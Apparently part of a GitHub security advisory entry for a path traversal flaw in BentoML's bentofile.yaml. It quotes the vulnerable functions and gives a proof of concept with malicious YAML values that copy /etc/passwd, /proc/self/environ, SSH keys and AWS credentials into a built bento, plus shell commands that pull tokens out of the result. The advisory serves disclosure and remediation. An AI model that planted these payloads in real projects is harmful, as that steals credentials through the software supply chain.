+ "details": "### Summary\n\nBentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.\n\n### Details\n\nThe vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.\n\n**Vulnerable function** in `src/bentoml/_internal/utils/filesystem.py:114-131`:\n\n```python\ndef resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:\n _path = os.path.expanduser(os.path.expandvars(filepath))\n if not os.path.isabs(_path) and ctx:\n _path = os.path.expanduser(os.path.join(ctx, filepath))\n if os.path.exists(_path):\n return os.path.realpath(_path) # No path containment check\n raise FileNotFoundError(f\"file {filepath} not found\")\n```\n\n**Vulnerable code** in `src/bentoml/_internal/bento/bento.py:348-355`:\n\n```python\nif build_config.description.startswith(\"file:\"):\n file_name = build_config.description[5:].strip()\n if not ctx_path.joinpath(file_name).exists():\n raise InvalidArgument(f\"File {file_name} does not exist.\")\n shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal\n```\n\nAll four vulnerable fields:\n- `description: \"file:../../../etc/passwd\"` → copied to `README.md`\n- `docker.setup_script: \"../../../etc/passwd\"` → copied to `env/docker/setup_script`\n- `docker.dockerfile_template: \"../../../secret\"` → copied to `env/docker/Dockerfile.template`\n- `conda.environment_yml: \"../../../etc/hosts\"` → copied to `env/conda/environment.yml`\n\n**Multiple path formats are supported, making exploitation trivial:**\n\n| Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` |\n|--------|---------------|----------------|----------------------|-------------------|\n| Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes |\n| Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes |\n| Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes |\n| Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes |\n| Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes |\n\nThe `description` field uses `pathlib.Path.joinpath()` directly, while other fields use `resolve_user_filepath()` which calls `os.path.expanduser()` and `os.path.expandvars()`.\n\nThe `/proc/self/environ` vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_PASSWORD`, etc.).\n\n### PoC\n\n1. Create a minimal service:\n\n```python\n# service.py\nimport bentoml\n\n@bentoml.service\nclass TestService:\n @bentoml.api\n def predict(self, text: str) -> str:\n return text\n```\n\n2. Create malicious `bentofile.yaml`. Multiple attack vectors are available:\n\n**Vector 1: Exfiltrate /etc/passwd via description field**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/etc/passwd\"\n```\n\n**Vector 2: Exfiltrate all environment variables (CI/CD secrets)**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/proc/self/environ\"\n```\n\n**Vector 3: Exfiltrate files using environment variable expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n dockerfile_template: \"$HOME/.aws/credentials\"\n```\n\n**Vector 4: Exfiltrate files using tilde expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n dockerfile_template: \"~/.ssh/id_rsa\"\n```\n\nNote: The `description` field does not support `~` or `$VAR` expansion. Use absolute paths or relative traversal for `description`. The `docker.*` and `conda.*` fields support all path formats.\n\n3. Run build:\n\n```bash\n$ bentoml build\nSuccessfully built Bento(tag=\"test_service:abc123\").\n```\n\n4. Verify exfiltration:\n\n```bash\n# For description field - check README.md\n$ cat ~/bentoml/bentos/test_service/abc123/README.md\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n\n# For /proc/self/environ - extract CI/CD secrets\n$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\\0' '\\n' | grep -E \"KEY|TOKEN|SECRET\"\nAWS_SECRET_ACCESS_KEY=AKIA...\nGITHUB_TOKEN=ghp_...\n\n# For dockerfile_template - check Dockerfile.template\n$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template\n[default]\naws_access_key_id = AKIA...\naws_secret_access_key = ...\n```\n\nThe exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.\n\n### Impact\n\n**Who is impacted:** Any user who runs `bentoml build` on an untrusted `bentofile.yaml` (e.g., cloned from a malicious repository).\n\n**Attack scenarios:**\n- **Supply chain attack:** Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated\n- **CI/CD environment variable theft:** Using `file:/proc/self/environ`, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`, etc.), making this a single-payload method to steal all pipeline secrets.\n- **BentoCloud exfiltration:** When victims push compromised bentos to BentoCloud (`bentoml push`), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.\n- **Data theft:** Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments